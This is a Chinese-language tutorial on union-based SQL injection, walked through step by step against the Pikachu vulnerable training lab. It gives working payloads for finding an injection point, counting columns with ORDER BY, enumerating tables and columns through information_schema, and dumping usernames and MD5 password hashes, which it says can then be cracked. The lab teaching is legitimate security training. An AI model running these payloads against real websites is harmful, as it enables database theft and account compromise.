1. 程式人生 > 實用技巧 >Web安全之SQL Inject 2

Web安全之SQL Inject 2

union注入

SQL-Inject手動測試-基於union的資訊獲取

union聯合查詢:可以通過聯合查詢來查詢制定的資料

用法舉例:select 欄位1,欄位2 from user where id=1 union select 欄位1,欄位2 from 表名(ps:聯合查詢的欄位數需要和主查詢一致)

使用union進行SQL注入時要知道主查詢有幾個欄位,所以我們要先用order by來來猜測後臺主查詢有幾個欄位

select 欄位1,欄位2 from users order by 1

後面跟著的數字表示根據查詢結果的第幾列進行排序,如果後臺主查詢 2 個欄位,那我們 order by 3 時就會報錯,order by 2 時會正常返回。(一般用二分法)

select version()://獲取資料庫版本,select database();//獲取當前資料庫,select user()://獲取當前登入的使用者。

information_schema

實驗演示

首先根據測試流程,我們現在輸入一個單引號,看是否存在SQL注入點,頁面報錯,說明存在注入點

然後我們可以猜測後臺查詢型別,來做相關測試,構造字元型的payload(a' or 1=1#)輸入,可以遍歷出資料

接著我們可以利用union聯合查詢來獲取後臺資料庫基礎資訊,首先我們用order by來確認主查詢上有幾個欄位

'order by 1#根據報錯,來逐漸改變排列列數,最後確認order by2時沒報錯說明主查詢只有兩個欄位

接著構造union聯合查詢的payload來獲取當前資料庫名稱kobe‘ union selectdatabase(),user()#,資料庫名稱為pikachu

接著獲取表名輸入payloadkobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#

在獲取欄位名,輸入payloadkobe' union select table_name,column_name from information_schema.columns where table_name=

'users'#

我們知道當前資料庫的很多資訊我們可以直接從當前資料庫查詢,來獲取使用者資訊 輸入payloadkobe' union select username,password from users#

使用者密碼是md5加密的,我門通過解密可以獲取到使用者密碼